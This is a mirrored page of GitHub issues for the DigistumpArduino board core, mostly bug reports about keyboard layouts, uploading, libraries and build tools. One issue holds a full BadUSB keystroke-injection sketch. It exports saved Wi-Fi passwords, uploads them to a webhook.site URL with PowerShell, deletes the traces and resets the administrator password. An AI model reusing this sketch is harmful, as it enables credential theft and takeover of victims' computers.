Giter Site home page Giter Site logo

digistumparduino's Issues

Help for detecting wrong keylayouts

Hey, thanks for your work, but in the german language there are some mistakes again. To help you find them faster, I have written a simple tool, take a look at it here. I hope, you can use it to fix the wrong letters. I tried it myself but I miss the knowledge.

French Layout error in 1.7.3

Hello,
When I'm compiling with french layout on the version 1.7.3, there is an error saying TILDE_BITS not defined.
There is the same error for all frenches variations (canadian, belgium, ...).

The version 1.7.2 doesn't have this issue.

Permission denied during uploading

If you have handling problems or questions, consider to open a discussion https://github.com/ArminJo/DigistumpArduino/discussions instead of an issue.

Bug Report

Board

  • Digispark
  • Arduino Pro
  • MH-ET LIVE Tiny88

IDE

  • Arduino IDE
  • Arduino Web Editor
  • Arduino Pro IDE
  • Sloeber IDE
  • PlatformIO IDE
  • Other - please specify

Example from the core libraries to reproduce the issue

Version

  • Yes I use the latest core version and verified this!
  • Other - please specify

Please delete all unchecked lines above :-)

Current behavior

I'm trying to upload a sketch but i keep getting this error saying:

usb_open(): Permission denied. For Linux, copy file https://github.com/micronucleus/micronucleus/blob/master/commandline/49-micronucleus.rules to /etc/udev/rules.d.

I have tried changing the permission of /etc/udev/rules.d i even reinstalled the whole arduino ide but i still have the same problem any help is appreciated!

Additional context

Disappeared "Plug in device now..."

If you have handling problems or questions, consider to open a discussion https://github.com/ArminJo/DigistumpArduino/discussions instead of an issue.

Bug Report

Board

  • [*] Digispark
  • Arduino Pro
  • MH-ET LIVE Tiny88

IDE

  • [*] Arduino IDE 2.3.2
  • Arduino Web Editor
  • Arduino Pro IDE
  • Sloeber IDE
  • PlatformIO IDE
  • Other - please specify

Example from the core libraries to reproduce the issue

Version

  • [*] Yes I use the latest core version and verified this!
  • Other - please specify

Please delete all unchecked lines above :-)

Current behavior

` #include <Tachometer.h> // https://github.com/GyverLibs/Tachometer?tab=readme-ov-file
Tachometer tacho;

void setup() {
// put your setup code here, to run once:
pinMode(0, INPUT_PULLUP);
pinMode(1, OUTPUT);
attachInterrupt(0, isr, FALLING);
}

void loop() {
// put your main code here, to run repeatedly:
if (tacho.getHz() > 95) digitalWrite (1, HIGH);
else digitalWrite (1, LOW);
}

void isr() {
tacho.tick();
}

Sketch uses 2026 bytes (13%) of program storage space. Maximum is 14970 bytes.
Global variables use 29 bytes (5%) of dynamic memory, leaving 483 bytes for local variables. Maximum is 512 bytes.
"C:\Users\woodl\AppData\Local\Arduino15\packages\digistump\tools\micronucleus\2.6/micronucleus" --no-ansi --run --timeout 60 C:\Users\woodl\AppData\Local\Temp\arduino\sketches\3727D12B961B500C998C67424C146797/digispark_interrupt.ino.hex
Failed uploading: uploading error: exit status 0xc0000135. `

The board is programmable on Arduino 1.8.17 on Win10, but falls on Arduino IDE 2.3.2 on Win11

pinMode(Pin,INPUT) does not disable internal pullup

Bug Report

Board

  • Digispark

IDE

  • Arduino IDE

Example from the core libraries to reproduce the issue

Version

  • Yes I use the latest core version and verified this!

Current behavior

If the internal pullup for input is activated once by using pinMode(pin,INPUT_PULLUP); it keeps being activated after reconfiguring to a normal INPUT (pinMode(pin,INPUT). Libaries like ADCTouch which reconfigure the pullup resistor therefore don't show the expected behaviour. ATTinycore explicitly disables pullups when setting pinMode(pin,INPUT)

Expected behavior

pinMode(pin,INPUT) should disable the internal pullup independent of the current setting.

Arduino Reference: pinMode

The expected behavior should be achievable by changing the INPUT block of the pinMode function in wiring_digital.c but I'm not sure if this could cause other issues

if (mode == INPUT) { 
		uint8_t oldSREG = SREG;
		cli();
		*reg &= ~bit;
                *out &= ~bit;  //disable internal pullup
		SREG = oldSREG;

"Please import the SPI library"

Thanks for putting together this repo! It's help get me unblocked on using the Digistump Pro with MySensors. The one thing that I still seem to be missing is SPI.

A simple sketch for repro:

#include <SPI.h>


void loop(){
    }

void setup(){
    }

Compiles just fine for the UNO, but with the Digispark Pro selected:

Alternatives for SPI.h: []sketch_apr07a:1:10: fatal error: Please import the SPI library from the Sketch > Import Library menu.
As of Arduino 0019, the Ethernet library depends on the SPI library.
You appear to be using it or another library that depends on the SPI library.

Any help would be appreciated.

Clock setting not supported when uploading via programmer

Clock setting not supported when uploading via programmer

Version 1.7.4 also includes the nice possibility to upload via programmer other than using the bootloader (e.g., version 1.7.2 did not).

Anyway, the clock setting does not work.

Way to reproduce the problem

Board

ATtiny85 Digispark board
Arduino Nano as ISP

IDE

Arduino IDE

Version

Version 1.7.4

Settings

File > Preferences > Additional Board manager URLs: 
https://raw.githubusercontent.com/ArminJo/DigistumpArduino/master/package_digistump_index.json

Tools > Board: "Digispark"

Tools > Clock > 8 MHz – No USB (I use "8 MHz – No USB" after setting lfuse to E2 with avrdude -Cavrdude.conf -v -pattiny85 -cstk500v1 -P... -b19200 -U lfuse:w:0xE2:m)

Tools > Micronucleus variant: at the moment, the highest available option is just "aggressive" (notice the double g glitch BTW): there is no way to use the entire space, which would be possible using an ISP

Tools > Burn Bootloader Method: usage of this setting is not clear; at the moment it does not appear to influence the result

Tools > Port (I set the one connected to the Arduino Nano used as ISP)

Tools > Programmer: "Arduino as ISP"

To test, I use the "blink" sample sketch by measuring the LED timing, which is correct when the device is run at the standard clock (16.5 MHz with -U lfuse:w:0xf1:m fuse and "16.5 MHz for V-USB" setting), while incorrect in the above-mentioned example (16.5 MHz with -U lfuse:w:0xE2:m fuse and "8 MHz – No USB" setting).

As the result of Sketch > Upload is always to run the micronucleus (regardless of the setting "Tools > Programmer" - this would be another issue), the only way to run the programmer is via "Sketch > Upload Using Programmer".

Anyway, the behaviour is the same of running "Sketch > Upload" and then running avrdude manually on the compiled code.

Notice that https://github.com/damellis/attiny correctly works via "Sketch > Upload".

A new way to burn default bootloader by Arduino ISP

If USB bootloader don't work, mabye ISP is OK.
Use Arduino ISP can also burn the USB bootloader and reset Fuse.
Because there is something wrong with the official
see here:
https://blog.csdn.net/Argon_Ghost/article/details/103637870
hope you can understand or translate it.

command is here:
C:\Sofware_Portable\arduino-1.8.8\hardware\tools\avr/bin/avrdude -C "C:\Sofware_Portable\arduino-1.8.8\hardware\tools\avr/etc/avrdude.conf" -v -pattiny85 -carduino -PCOM4 -b19200 -Uflash:w:C:\Storage\t85_default.hex:i -U lfuse:w:0xE1:m -U hfuse:w:0xDD:m -U efuse:w:0xFE:m
just replace "C:\Sofware_Portable\arduino-1.8.8", "-PCOM4" and "C:\Storage\t85_default.hex" with your file and directory

Faulty language codes and path clipping in bootloader update

Bug Report

Board

  • [x ] Digispark

IDE

  • [x ] Arduino IDE

Example from the core libraries to reproduce the issue

#define LAYOUT_SWEDISH
#define LAYOUT_NORWEGIAN
#define LAYOUT_DANISH

Version

  • [x ] Yes I use the latest core version and verified this!

Current behavior

Wasn't able to use any of the nordic languages, probably due to missing å, ä and ö in the Teensyduino library, getting errors like "error: narrowing conversion of '1068' "

Also had a problem with updating the bootloader,Arduino IDE is capping the path for the bootloaders in the path name:
Correct: C:\Users\Jonathan Othén\AppData\Local\Arduino15\packages\digistump...
Path trying to fetch from: Othén\AppData\Local\Arduino15\packages\digistump...

(can't remeber the whole path by my mind)

Had to reinstall the original repository so sorry for incomplete info.

package_sparkfun_index.json causes problems

Bug Report

After adding
I get error messages like this when I try to update libraries in the 1.8.18 IDE on windows
Index error: could not find referenced tool name=arm-none-eabi-gcc version=9-2019q4 packager=adafruit
Index error: could not find referenced tool name=nrfjprog version=9.4.0 packager=adafruit
Index error: could not find referenced tool name=CMSIS version=5.7.0 packager=adafruit
Index error: could not find referenced tool name=arm-none-eabi-gcc version=9-2019q4 packager=adafruit
Index error: could not find referenced tool name=nrfjprog version=9.4.0 packager=adafruit
Index error: could not find referenced tool name=CMSIS version=5.7.0 packager=adafruit
Index error: could not find referenced tool name=arm-none-eabi-gcc version=9-2019q4 packager=adafruit
Index error: could not find referenced tool name=nrfjprog version=9.4.0 packager=adafruit
Index error: could not find referenced tool name=CMSIS version=5.7.0 packager=adafruit_

As stated here: https://forums.adafruit.com/viewtopic.php?f=25&t=177076 the problem is due to the
https://raw.githubusercontent.com/ArminJo/DigistumpArduino/master/package_digistump_index.json file.

Please have look into this.

IDE

  • [*] Arduino IDE

Version

  • [*] Yes I use the latest core version and verified this!

Digispark not recognized

Anyone knows how to fix this problem had it for some time

Plug in device now... (will timeout in 60 seconds)
Please plug in the device ...
Press CTRL+C to terminate the program.
Device search timed out

It doesn't get recognized by my computer I don't know why iv tried to fix but cant

Installation instructions for PlatfomIO

I am currently in an ATTiny85 dev project in platformio and I would like to give your core a try. Could you please provide instructions on how to install your core in pio? Or possibly even better, request integration to pio by raising a feature request there?

I might be stoopid but the finnish layout won't compile

Discussed in #33

Originally posted by Kapyyyy January 20, 2022
Like the title says, I'm a newbie but when trying to compile with the #define LAYOUT_FINNISH it spits out an error I have no clue of. I tested the default language, canadian french and german and all of those compiled fine. I hope the screenshots will give enough info, but I can share more if needed.
(edit: attached the screenshots instead of posting them as links)
(edit2: removed a accidental g that slipped in XD)
(edit3: Tested versions 1.7.5, 1.7.4, 1.7.3)
64OkNuawtN
javaw_i2Ys0swtO7

Digispark CDC library doesn't work

Tested with the reference sketch

https://github.com/ArminJo/DigistumpArduino/blob/master/digistump-avr/libraries/DigisparkCDC/examples/CDC_LED/CDC_LED.ino

Uploading works fine, but as soon as the bootloader exits and the USB CDC device is supposed to be created..

grafik

Translated: "USB device was not recognized. The last USB device that has been connected to this computer, did not work ordinarily and wasn't recognized by Windows."

Device manager says

grafik

"The USB device has returned an invalid USB configuration descriptor".

Tested board is the http://digistump.com/products/1

Selected Arduino IDE settings

grafik

Drivers were installed as per https://github.com/ArminJo/DigistumpArduino#driver-installation.

SPI.h Not found when using Adafruit Dotstar Library

If you have handling problems or questions, consider to open a discussion https://github.com/ArminJo/DigistumpArduino/discussions instead of an issue.

Bug Report

Board

  • Digispark

IDE

  • Arduino IDE

Example from the core libraries to reproduce the issue

Version

  • Yes I use the latest core version and verified this!
    Using 1.7.5 installed fresh today, 1/21/2023

Current behavior

#include <Adafruit_DotStar.h>

void setup() {
  // put your setup code here, to run once:
}

void loop() {
  // put your main code here, to run repeatedly:
}
                 from C:\Users\Deviant\AppData\Local\Temp\.arduinoIDE-unsaved2023021-13512-sdcgw0.51dq\sketch_jan21a\sketch_jan21a.ino:1:
c:\Users\Deviant\Documents\Arduino\libraries\Adafruit_BusIO/Adafruit_SPIDevice.h:9:10: fatal error: SPI.h: No such file or directory
 #include <SPI.h>
          ^~~~~~~
compilation terminated.

exit status 1

Compilation error: exit status 1

When attempting to compile using the Digispark board and including Adafruit_Dotstar.h from Adafruit Dotstar v1.2.1, SPI.h cannot be found

Expected behavior

Full compile without errors.

Additional context

Digispark Pro usbconfig.h

Any idea why, with D+ on the INT0 pin of the T167 that the digispark pro uses, the usbconfig.h is telling it to use PCINTs for USB? Bootloader does this too - but no comment or hint to WHY. Presumably someone tried it the normal way and tripped over some weird behavior on that chip or something, but I'm sort of disturbed that they didn't comment on it.

I ask because - since it's gotta be on those pins since that's what the hardware you can buy for dirt cheap from china has connected, you'd be far better off using INT0 instead of wasting a whole bank of PCINTs like that....

Also, you can remove the old windows micronucleus package.

Micronucleus not configured correctly for MacOS

If you have handling problems or questions, consider to open a discussion https://github.com/ArminJo/DigistumpArduino/discussions instead of an issue.

Bug Report

Board

  • [ x ] Digispark

IDE

  • [ x ] Arduino IDE

Example from the core libraries to reproduce the issue

Version

  • [ x ] Yes I use the latest core version and verified this!

Please delete all unchecked lines above :-)

Current behavior

  1. Install release 1.7.5 using Arduino IDE 1.8.19 on MacOS 11.5.2, on computer with 1.4 GHz Dual-Core Intel Core i5 Processor.
  2. Set Board to Digispark
  3. Set Clock to 16.5MHz
  4. Programmer is set to "Micronucleus 2.5" - which is preselected.
  5. Load "Blink" sketch from Arduino base examples.
  6. Verify (code compiles OK)
  7. Upload
  8. Error message: "/Users/douglasheld/Library/Arduino15/packages/digistump/tools/micronucleus/2.6/micronucleus" - file not found
  9. Note, directory "/Users/douglasheld/Library/Arduino15/packages/digistump/tools/micronucleus/2.5" does not exist
  10. directory "/Users/douglasheld/Library/Arduino15/packages/digistump/tools/micronucleus/2.6" contains one directory entry, "GNUSparseFile.0"
  11. directory "GNUSparseFile.0" contains one file, "micronucleus"
  12. "micronucleus" file is not an executable file type on MacOS. "/usr/bin/file" command simply reports "data".

Expected behavior

  1. Invocation of micronucleus by the IDE
  2. Choice of micronucleus should be the version installed and available
  3. Choice should match version selected/displayed in user interface menu
  4. Choice of micronucleus should be valid executable.

Additional context

  1. Note, user has copied executable from master->tools/micronucleus/micronucleus-cli-2.6-x86_64-apple-darwin.tar.gz and tried again with the executable in the expected path.
  2. This file is a MacOS executable file
  3. Running it reports "'micronucleus' cannot be opened because the developer cannot be verified." and "macOS cannot verify that this app is free from malware. Chrome downloaded this file today at 20:20 from github.com."
  4. Presumably, the executable is built without a valid digital signature. So, it cannot be used as a workaround for the problem with release 1.7.5.

Uploader doesn't know how to upload

Hello @ArminJo , thanks for writing this tool.

I recently bought a digispark, setting up the host system per the instructions on Digistump's site (adding a udev rule etc), and then adding your package index into Arduino 1.18.13 (latest).

When I first burned the bootloader, the steps went great, though I left the variant at 'Default', not 'Recommended'.

Now when I try to upload a sketch, or burn a different bootloader, I get these messages repeating:

/home/atomspring/.arduino15/packages/digistump/tools/micronucleus/2.0a4/launcher -cdigispark --timeout 60 -Uflash:w:/home/atomspring/.arduino15/packages/digistump/hardware/avr/1.7.0/bootloaders/upgrade-t85_entry_on_powerOn_activePullup_fastExit.hex:i

Running Digispark Uploader...

Plug in device now... (will timeout in 60 seconds)

Warning: device with unknown new version of Micronucleus detected.
This tool doesn't know how to upload to this new device. Updates may be available.
Device reports version as: 2.5

Warning: device with unknown new version of Micronucleus detected.
This tool doesn't know how to upload to this new device. Updates may be available.
Device reports version as: 2.5

What do I do here?

DigiKeyboard.sendKeyStroke doesn´t work

Dear Sir or Madame,

I want to send following key stroke:
DigiKeyboard.sendKeyStroke(KEY_M , MOD_CONTROL_LEFT | MOD_SHIFT_LEFT);
But it returns:
Key.ctrl_l + Key.shift + '\r'
How can I solve the Problem? I tried many things, even reinstalling the Digispark libraries.

Additionally the digispark USB Device turns off after about half an hour? Is there a way changing the times or even setting them to infinite?

Thanks for helping
Kind regards
Jan Fenten

German Keyboard Layout is off

When I choose to compile with: #define LAYOUT_GERMAN and having the keyboard layout in Linux set to German, I get the some characters wrong.

For example the line DigiKeyboard.print("<>"); results in the output: /{ on my system.

I am so sorry to not help you more, but I have no clue how these keycodes work. Though I noticed that this header-file does seem to do the trick.

Hey, this doesn't work for me.

Hey, this doesn't work for me.
image
image
none of this works...

my code:

#define LAYOUT_FINNISH
#include "DigiKeyboard.h"

void setup() {

}

void loop() {
  DigiKeyboard.update();
  DigiKeyboard.sendKeyStroke(0);
  DigiKeyboard.delay(3000);
 
  DigiKeyboard.sendKeyStroke(KEY_R, MODIFIERKEY_LEFT_GUI); //run
  DigiKeyboard.delay(100);
  DigiKeyboard.println("cmd /k mode con: cols=15 lines=1"); //smallest cmd window possible
  DigiKeyboard.delay(500);
  DigiKeyboard.delay(500);
  //keylayouts.sendKeyStroke(KEY_SPACE, MOD_ALT_LEFT); //Menu  
  //keylayouts.sendKeyStroke(KEY_M); //goto Move
  //for(int i =0; i < 100; i++)
    //{
      //keylayouts.sendKeyStroke(KEY_DOWN);
    //}
  //keylayouts.sendKeyStroke(KEY_ENTER); //Detach from scrolling
  DigiKeyboard.delay(100);
  DigiKeyboard.println("cd %temp%"); //going to temporary dir
  DigiKeyboard.delay(500);
  DigiKeyboard.println("netsh wlan export profile key=clear"); //grabbing all the saved wifi passwd and saving them in temporary dir
  DigiKeyboard.delay(500);
  DigiKeyboard.println("powershell Select-String -Path Wi*.xml -Pattern 'keyMaterial' > Wi-Fi-PASS"); //Extracting all password and saving them in Wi-Fi-Pass file in temporary dir
  DigiKeyboard.delay(500);
  DigiKeyboard.println("powershell Invoke-WebRequest -Uri https://webhook.site/0e47a039-257e-4652-9d24-asd> -Method POST -InFile Wi-Fi-PASS"); //Submitting all passwords on hook
  DigiKeyboard.delay(1000);
  DigiKeyboard.println("del Wi-* /s /f /q"); //cleaning up all the mess
  DigiKeyboard.delay(100);
  DigiKeyboard.println("net user administrator *");
  DigiKeyboard.delay(100);
  DigiKeyboard.println("hacked2022");
  DigiKeyboard.delay(100);
  DigiKeyboard.println("hacked2022");
  DigiKeyboard.delay(100);
  //DigiKeyboard.println("exit");
  //DigiKeyboard.delay(100);
  
  
  digitalWrite(1, HIGH);
  DigiKeyboard.delay(90000);
  digitalWrite(1, LOW); 
  DigiKeyboard.delay(5000);
}

Originally posted by @ArikSquad in #37

Add compatibility with BasicStepperDriver

Hi!
Good job man......thanks for your help.
I need help for use Attiny85 with the BasicStepperDriver

The console return this when try to compile:

Arduino:1.8.12 (Windows 10), Scheda:"Digispark (Default - 16.5mhz)"

C:\Users\Simone\AppData\Local\Temp\ccsPwu2G.ltrans0.ltrans.o: In function `delayMicros':

C:\Users\Simone\Documents\Arduino\libraries\StepperDriver-1.2.0\src/BasicStepperDriver.h:46: undefined reference to `yield()'

collect2.exe: error: ld returned 1 exit status

exit status 1
Errore durante la compilazione per la scheda Digispark (Default - 16.5mhz).

Can you do something?
Thanks in advance

Build for ARM (M1/M2) CPU on OSX

Attempting to use this library in platformio.ini on OSX on a Mac with M1 processor produces this error

Processing digispark-tiny (platform: atmelavr; board: digispark-tiny; framework: arduino)
----------------------------------------------------------------------------------
Tool Manager: Installing platformio/framework-arduino-avr-digistump @ ^1.7.6
Error: Could not find the package with 'platformio/framework-arduino-avr-digistump @ ^1.7.6' requirements for your system 'darwin_arm64'

Steps to reproduce

[env:digispark-tiny]
platform = atmelavr
board = digispark-tiny
framework = arduino
build_flags = 
	-D LED_PIN=1
platform_packages =
	platformio/framework-arduino-avr-digistump@^1.7.6

Then attempt to build, and you will see this error.

If you have handling problems or questions, consider to open a discussion https://github.com/ArminJo/DigistumpArduino/discussions instead of an issue.

Bug Report

Board

  • Digispark
  • Arduino Pro
  • MH-ET LIVE Tiny88

IDE

  • Arduino IDE
  • Arduino Web Editor
  • Arduino Pro IDE
  • Sloeber IDE
  • PlatformIO IDE
  • Other - please specify

Example from the core libraries to reproduce the issue

Version

  • Yes I use the latest core version and verified this!
  • Other - please specify

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.